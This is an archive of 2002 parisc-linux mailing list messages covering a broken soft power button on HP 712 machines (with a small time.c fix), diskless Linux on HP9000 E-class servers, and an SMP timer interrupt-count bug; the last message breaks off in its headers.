Subject: Re: [parisc-linux] Power Button doesn't turn machine off anymore
Date: Fri, 5 Jul 2002 19:59:20 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <20020705175920.GM25868@charite.de>
References: <20020702190606.GA3678@systemhalted> <20020702190842.GR25586@charite.de> <20020702192147.GC3678@systemhalted> <20020702193116.GU25586@charite.de> <20020703052415.GB32490@charite.de> <20020703121306.GA8464@systemhalted> <20020703121737.GS15228@charite.de> <20020703164631.F0CE2483A@dsl2.external.hp.com> <20020703165234.GG13244@charite.de> <20020703203227.GE9009@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621468 9992 80.91.229.3 (22 Nov 2014 01:57:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:48 +0000 (UTC)
To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>,
	Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  5 11:59:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 31F70486D
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Jul 2002 11:59:23 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id E00E715C012; Fri,  5 Jul 2002 19:59:20 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 631B4633B3; Fri,  5 Jul 2002 19:59:20 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20020703203227.GE9009@systemhalted>
User-Agent: Mutt/1.4i
X-message-flag: Outlook? Viral infections & bugs for the foreseeable future
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15329

Am 03.07.2002 um 16:32:27 -0400 schrieb Carlos O'Donell folgendes:

> Could you please try this out and see if you see anything in your logs :)

Nothing. Nothing at all.

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
This is supposed to be a happy occasion. Let's not bicker and argue
about who killed who."            -- From Monty Python's Holy Grail




From - Thu Nov 08 21:23:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux on HP9000/E25 ?
Date: Sat, 06 Jul 2002 09:57:28 +0200
Organization: private
Lines: 62
Approved: news@gmane.org
Message-ID: <3D26A2E8.2636FB7E@gmx.at>
References: <A3191AF2-8F62-11D6-B92C-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621468 9994 80.91.229.3 (22 Nov 2014 01:57:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:48 +0000 (UTC)
Cc: "SEMETEYS Raphael - MTR ( rsemeteys@mtr.sema.slb.com )" <rsemeteys@mtr.sema.slb.com>,
	"'parisc-linux@parisc-linux.org'" <parisc-linux@parisc-linux.org>
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul  6 01:57:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from viefep13-int.chello.at (viefep13-int.chello.at [213.46.255.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id 588404846
	for <parisc-linux@parisc-linux.org>; Sat,  6 Jul 2002 01:57:43 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep13-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020706075729.JETL9315.viefep13-int.chello.at@gmx.at>;
          Sat, 6 Jul 2002 09:57:29 +0200
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15330

Hello !

It is NOT correct. I have success ! But ONLY as DISKLESS server.

Botting via network and using the PDC console works really well.
The machine is quite fast and in this setup stable.
I run the full SID debian on this machine, it can execute near
all executables, even X applications run (remote of course !).

Only three devices are not supported:
- MUX 8-way serial (except the PDC console using this polling 
	PDC driver)
- Parallel interface
- SCSI disks (which makes this machine to a diskless server !?!)

With getting more documentations and experiences, I will further
work on this (in background load, I am only hacking in my private
spare time ...).

First I will start on SCSI, Ryan works on the MUX of a K-serie
server, and I will try to port this driver. Every help is
welcome. I think we are a "bigger" group now, wishing E-class
support for Linux !!

Christoph


Thibaut VARENE wrote:
> 
> Le jeudi 4 juillet 2002,  05:31 , SEMETEYS Raphael - MTR
> ( rsemeteys@mtr.sema.slb.com ) a crit :
> 
> > Hi there,
> >
> > I'd like to know if somedy already got througth installing Linux on a
> > HP9000/E25 server.
> Well, nothing that I heard of.
> Anyway, Christoph Plattner is working on his E55, but with no real
> success (eh Christoph ? :)
> We are actually working on E35, with nothing more than booting the
> kernel via network, and no real success.
> > I'm trying to convinced my boss to do so but I'd like to know possible
> > limitations or known problems before beginning any installation.
> errr; looks like E-class wasn't a good choice :)
> It's not supported actually, and fwiw not a priority
> 
> Thibaut VARENE
> PA/Linux ESIEE Team
> http://pateam.esiee.fr/
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:23:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux on HP9000/E25 ?
Date: Sat, 06 Jul 2002 10:00:36 +0200
Organization: private
Lines: 47
Approved: news@gmane.org
Message-ID: <3D26A3A4.D91DBCE2@gmx.at>
References: <63FDFE424494D411965B009027D0E4FB0206124F@mtrmes01.montrouge.eur.slb.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621469 9995 80.91.229.3 (22 Nov 2014 01:57:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:49 +0000 (UTC)
Cc: "'parisc-linux@parisc-linux.org'" <parisc-linux@parisc-linux.org>
To: "SEMETEYS Raphael - MTR ( rsemeteys@mtr.sema.slb.com )" <rsemeteys@mtr.sema.slb.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul  6 02:00:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from viefep16-int.chello.at (viefep16-int.chello.at [213.46.255.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id BBD95484B
	for <parisc-linux@parisc-linux.org>; Sat,  6 Jul 2002 02:00:38 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep16-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020706080037.WOBB2227.viefep16-int.chello.at@gmx.at>;
          Sat, 6 Jul 2002 10:00:37 +0200
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15331

My installation was done in an other way.

I tried the first debian install (0.9.3x image) on the 712. Later on
I copied the file system to my server to use it as NFS and NFS-Root
server. My E55 boots this image now.

But as I heard, it is possible with my PDC driver to do a full 
installation on those machine. I never tried this up to now.

I also heard, that there is a ready boot image using the PDC driver
for such an installation.

Christoph


"SEMETEYS Raphael - MTR ( rsemeteys@mtr.sema.slb.com )" wrote:
> 
> Hi there,
> 
> I'd like to know if somedy already got througth installing Linux on a
> HP9000/E25 server.
> I'm trying to convinced my boss to do so but I'd like to know possible
> limitations or known problems before beginning any installation.
> 
> Thanks in advance for your help.
> 
> ________________________________
> Raphal Semeteys
> SchlumbergerSema
> Centre de Comptences en Architecture Technique
> 16-18 rue Barbs
> 92126 Montrouge CEDEX France
> tel : +33 1 40 92 49 63
> fax + 33 1 40 92 49 97
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:23:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power Button doesn't turn machine off anymore
Date: Sat, 6 Jul 2002 10:04:12 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <20020706080412.GA11226@charite.de>
References: <20020702190842.GR25586@charite.de> <20020702192147.GC3678@systemhalted> <20020702193116.GU25586@charite.de> <20020703052415.GB32490@charite.de> <20020703121306.GA8464@systemhalted> <20020703121737.GS15228@charite.de> <20020703164631.F0CE2483A@dsl2.external.hp.com> <20020703165234.GG13244@charite.de> <20020703203227.GE9009@systemhalted> <20020705175920.GM25868@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621469 9996 80.91.229.3 (22 Nov 2014 01:57:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul  6 02:04:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 51635485F
	for <parisc-linux@lists.parisc-linux.org>; Sat,  6 Jul 2002 02:04:14 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id C214E15C077; Sat,  6 Jul 2002 10:04:12 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id B3801633B3; Sat,  6 Jul 2002 10:04:12 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20020705175920.GM25868@charite.de>
User-Agent: Mutt/1.4i
X-message-flag: Outlook? Viral infections & bugs for the foreseeable future
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15332

Am 05.07.2002 um 19:59:20 +0200 schrieb Ralf Hildebrandt folgendes:
> Am 03.07.2002 um 16:32:27 -0400 schrieb Carlos O'Donell folgendes:
> 
> > Could you please try this out and see if you see anything in your logs :)
> 
> Nothing. Nothing at all.

I went to pa48 today, still with the patches to power.c you sent me.
There are no log entries. To make sure I get all logging, I use:

*.*   /var/log/debug

Nevertheless, no logging. Does the patch to power.c output it's data
to the console?

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
"All programmers are playwrights and all computers are lousy actors."  -Anon.




From - Thu Nov 08 21:23:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] smp kernels at 100% system 0% idle
Date: Sat, 6 Jul 2002 18:12:23 +0100
Lines: 9
Approved: news@gmane.org
Message-ID: <20020706171223.GF971@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621469 9997 80.91.229.3 (22 Nov 2014 01:57:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul  6 12:13:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hem11-4-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id C3A964849
	for <parisc-linux@lists.parisc-linux.org>; Sat,  6 Jul 2002 12:13:13 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id DE77D9E846; Sat,  6 Jul 2002 18:12:23 +0100 (BST)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15333

This appears to be due to local_irq_count(cpu) always being 2 when
update_process_times() is called.  Looks like we call irq_enter() twice,
once in do_irq() and again in smp_do_timer().  Maybe we can just remove
the irq_enter/exit calls from smp_do_timer()?

Richard




From - Thu Nov 08 21:23:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power Button doesn't turn machine off anymore
Date: Sat, 6 Jul 2002 21:54:48 +0100
Lines: 7
Approved: news@gmane.org
Message-ID: <20020706205448.GG971@sleepie.demon.co.uk>
References: <20020702183558.GO25586@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621470 9998 80.91.229.3 (22 Nov 2014 01:57:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul  6 15:55:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hem11-4-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id E59C6484D
	for <parisc-linux@lists.parisc-linux.org>; Sat,  6 Jul 2002 15:55:37 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 9EB8D9E846; Sat,  6 Jul 2002 21:54:48 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <20020702183558.GO25586@charite.de>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15334

I tested this today.  B180 2.4.18-pa48 works ok.  712 2.4.18-pa48 the
button has no effect.  712 2.4.17-pa32 button works ok.

Richard




From - Thu Nov 08 21:23:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power Button doesn't turn machine off anymore
Date: Sun, 7 Jul 2002 00:07:56 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <20020706220756.GZ21684@charite.de>
References: <20020702183558.GO25586@charite.de> <20020706205448.GG971@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621470 10000 80.91.229.3 (22 Nov 2014 01:57:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:50 +0000 (UTC)
Cc: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>,
	parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul  6 16:07:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id B177D4851
	for <parisc-linux@lists.parisc-linux.org>; Sat,  6 Jul 2002 16:07:57 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 6D66F15C063; Sun,  7 Jul 2002 00:07:56 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 59E04633B3; Sun,  7 Jul 2002 00:07:56 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20020706205448.GG971@sleepie.demon.co.uk>
User-Agent: Mutt/1.4i
X-message-flag: Outlook? Viral infections & bugs for the foreseeable future
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15335

Am 06.07.2002 um 21:54:48 +0100 schrieb Richard Hirst folgendes:
> I tested this today.  B180 2.4.18-pa48 works ok.  712 2.4.18-pa48 the
> button has no effect.  712 2.4.17-pa32 button works ok.

Most excellent -- since I'm running a 712 2.4.18-pa48 as well...

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Irix is about as stable as a one-legged drunk with hypothermia in a
four- hundred mile wind, balancing on a banana peel on a greased
cookie sheet -- When someone throws him an elephant with bad breath
and a worse temper. 




From - Thu Nov 08 21:23:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux rhirst
Date: Sat, 6 Jul 2002 22:27:52 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20020706212752.GH971@sleepie.demon.co.uk>
References: <20020706222240.BFA2F484F@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621470 10002 80.91.229.3 (22 Nov 2014 01:57:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:50 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul  6 16:28:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hem11-4-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 9723A484F; Sat,  6 Jul 2002 16:28:41 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 3E9789E846; Sat,  6 Jul 2002 22:27:52 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <20020706222240.BFA2F484F@dsl2.external.hp.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15336

On Sat, Jul 06, 2002 at 04:22:40PM -0600, Richard Hirst wrote:
> Make power switch work on 712 again


RCS file: /var/cvs/linux/arch/parisc/kernel/time.c,v
retrieving revision 1.24
diff -u -r1.24 time.c
--- arch/parisc/kernel/time.c   2002/06/26 22:20:32     1.24
+++ arch/parisc/kernel/time.c   2002/07/06 22:21:58
@@ -116,7 +116,7 @@
 #endif
 
        /* check soft power switch status */
-       if (cpu == 0 && !atomic_read(&led_tasklet.count))
+       if (cpu == 0 && !atomic_read(&power_tasklet.count))
                tasklet_schedule(&power_tasklet);
 }
 




From - Thu Nov 08 21:23:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: sven schnelle <schnelle@kabelleipzig.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kdb include files
Date: Sun, 07 Jul 2002 08:02:33 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <3D27D979.8050100@kabelleipzig.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621470 10005 80.91.229.3 (22 Nov 2014 01:57:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:50 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul  7 00:04:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.kabelleipzig.de (unknown [80.146.194.2])
	by dsl2.external.hp.com (Postfix) with SMTP id 05E28482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  7 Jul 2002 00:04:07 -0600 (MDT)
Original-Received: from kabelleipzig.de (10.50.33.20)
          by mail.kabelleipzig.de with MERCUR-SMTP/POP3/IMAP4-Server (v3.30.09 AS-000000008)
          for <parisc-linux@lists.parisc-linux.org>; Sun, 7 Jul 2002  08:04:05 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.0.0) Gecko/20020605
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
